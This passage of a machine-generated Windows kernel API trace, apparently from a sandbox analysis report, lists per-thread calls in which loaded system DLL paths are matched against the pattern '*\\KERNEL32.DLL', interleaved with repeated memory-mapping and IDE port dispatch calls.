Name="\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.470] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\WindowsCodecs.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.493] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\profapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.494] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bb4000 [0088.494] IdePortDispatch () returned 0x103 [0088.495] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bb5000 [0088.495] IdePortDispatch () returned 0x103 [0088.495] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bb6000 [0088.495] IdePortDispatch () returned 0x103 [0088.496] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bb7000 [0088.496] IdePortDispatch () returned 0x103 [0088.499] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce8000 [0088.499] IdePortDispatch () returned 0x103 [0088.500] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce9000 [0088.500] IdePortDispatch () returned 0x103 [0088.500] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cea000 [0088.500] IdePortDispatch () returned 0x103 [0088.503] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003512010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ceb000 [0088.503] IdePortDispatch () returned 0x103 [0088.504] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003513b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d0b000 [0088.504] IdePortDispatch () returned 0x103 [0088.504] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003511b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d2b000 [0088.505] IdePortDispatch () returned 0x103 [0088.505] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003513010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d4b000 [0088.505] IdePortDispatch () returned 0x103 [0088.505] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003512b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d6b000 [0088.506] IdePortDispatch () returned 0x103 [0088.506] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003511610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d8b000 [0088.506] IdePortDispatch () returned 0x103 [0088.509] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002da2000 [0088.509] IdePortDispatch () returned 0x103 [0088.509] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002da3000 [0088.509] IdePortDispatch () returned 0x103 [0088.510] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002da4000 [0088.510] IdePortDispatch () returned 0x103 [0088.511] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002da5000 [0088.511] IdePortDispatch () returned 0x103 [0088.511] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002da6000 [0088.511] IdePortDispatch () returned 0x103 [0088.511] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002da7000 [0088.511] IdePortDispatch () returned 0x103 [0088.512] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002da8000 [0088.512] IdePortDispatch () returned 0x103 [0088.513] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002da9000 [0088.513] IdePortDispatch () returned 0x103 [0088.527] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003512610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003510000 [0088.528] IdePortDispatch () returned 0x103 [0088.528] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003513610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003530000 [0088.528] IdePortDispatch () returned 0x103 [0088.528] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003512010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003550000 [0088.529] IdePortDispatch () returned 0x103 [0088.529] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003513b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800358b000 [0088.529] IdePortDispatch () returned 0x103 [0088.529] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003511b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035ab000 [0088.530] IdePortDispatch () returned 0x103 [0088.530] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003513010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035cb000 [0088.530] IdePortDispatch () returned 0x103 [0088.531] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003512b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b05000 [0088.532] IdePortDispatch () returned 0x103 [0088.532] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003511610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b25000 [0088.532] IdePortDispatch () returned 0x103 [0088.533] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003511b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b45000 [0088.533] IdePortDispatch () returned 0x103 [0088.533] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003513010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b65000 [0088.534] IdePortDispatch () returned 0x103 [0088.534] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003512b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b85000 [0088.534] IdePortDispatch () returned 0x103 [0088.543] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b97000 [0088.543] IdePortDispatch () returned 0x103 [0088.562] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\apphelp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.595] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\clbcatq.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.601] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\EhStorShell.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.629] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cscui.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.638] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cscdll.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.660] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003541000 [0088.660] IdePortDispatch () returned 0x103 [0088.674] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cscapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.697] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ntshrui.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.720] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\srvcli.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.733] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imageres.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.743] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imageres.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.744] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imageres.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.745] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imageres.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.746] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imageres.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.750] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\IconCodecService.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.773] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imageres.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.787] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imageres.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.946] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\iedkcs32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.955] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ie4uinit.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.975] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptsp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.981] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rsaenh.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.983] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\RpcRtRemote.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0110.224] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sxs.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 253 os_tid = 0x148 Thread: id = 254 os_tid = 0x130 Thread: id = 256 os_tid = 0x38c Thread: id = 257 os_tid = 0x404 [0091.238] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d9c000 [0091.238] IdePortDispatch () returned 0x103 [0091.239] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d9d000 [0091.239] IdePortDispatch () returned 0x103 [0091.299] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\gameux.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0091.313] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\xmllite.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0091.316] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wer.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 258 os_tid = 0x408 Thread: id = 259 os_tid = 0x40c [0089.006] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\SndVolSSO.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.007] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\hid.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.009] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\MMDevAPI.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.029] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\timedate.cpl", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.038] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\atl.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0090.737] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003580000 [0090.737] IdePortDispatch () returned 0x103 [0090.801] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ntmarta.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0090.801] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\Wldap32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0090.818] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d66000 [0090.818] IdePortDispatch () returned 0x103 [0090.823] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800350d000 [0090.823] IdePortDispatch () returned 0x103 [0090.823] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003515000 [0090.824] IdePortDispatch () returned 0x103 [0090.850] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c69000 [0090.850] IdePortDispatch () returned 0x103 [0090.941] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\shdocvw.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0090.983] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\linkinfo.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0091.118] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\userenv.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0091.394] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\shacct.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0091.396] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\samlib.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0091.434] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\samcli.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0091.455] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\netutils.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0091.525] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msftedit.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0091.569] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msls31.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0091.599] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0091.656] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\authui.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0091.657] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptui.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0098.350] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\stobject.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0098.365] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\batmeter.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0116.921] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msftedit.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 260 os_tid = 0x410 Thread: id = 261 os_tid = 0x414 [0090.722] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\actxprxy.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 294 os_tid = 0x4a4 [0091.796] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003908000 [0091.796] IdePortDispatch () returned 0x103 [0091.798] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003910000 [0091.798] IdePortDispatch () returned 0x103 [0100.008] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\prnfldr.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0100.023] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\winspool.drv", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 295 os_tid = 0x4a8 Thread: id = 296 os_tid = 0x4b0 Thread: id = 297 os_tid = 0x4b4 Thread: id = 299 os_tid = 0x4bc [0091.880] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ad000 [0091.880] IdePortDispatch () returned 0x103 [0091.883] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff8800303e960, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ae000 [0091.883] IdePortDispatch () returned 0x103 [0091.885] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034b1000 [0091.885] IdePortDispatch () returned 0x103 Thread: id = 300 os_tid = 0x4c0 [0091.991] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imageres.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0092.007] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imageres.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0092.017] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imageres.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0092.034] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imageres.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0092.047] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imageres.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0092.060] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imageres.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0092.079] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\DeviceCenter.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0092.097] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imageres.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0092.111] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imageres.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0092.268] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imageres.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0092.283] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d5c000 [0092.283] IdePortDispatch () returned 0x103 [0092.290] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imageres.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0092.300] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003482000 [0092.300] IdePortDispatch () returned 0x103 [0092.306] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imageres.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0117.269] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imageres.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0117.271] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imageres.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0117.273] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imageres.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0117.275] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imageres.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0117.278] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imageres.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0117.282] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imageres.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0117.285] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\DeviceCenter.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0117.288] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imageres.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0117.291] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imageres.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0117.301] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imageres.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0117.303] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imageres.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0117.305] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imageres.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 301 os_tid = 0x4c4 [0117.014] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rundll32.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0117.019] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\Branding\\ShellBrd\\shellbrd.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0117.032] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\DisplaySwitch.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0117.042] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\DisplaySwitch.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0117.052] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\calc.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0117.061] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\calc.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0117.077] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\StikyNot.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0117.088] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\StikyNot.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0117.099] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\SnippingTool.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0117.111] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\SnippingTool.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0117.146] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\mspaint.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0117.161] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\mspaint.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0117.192] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", 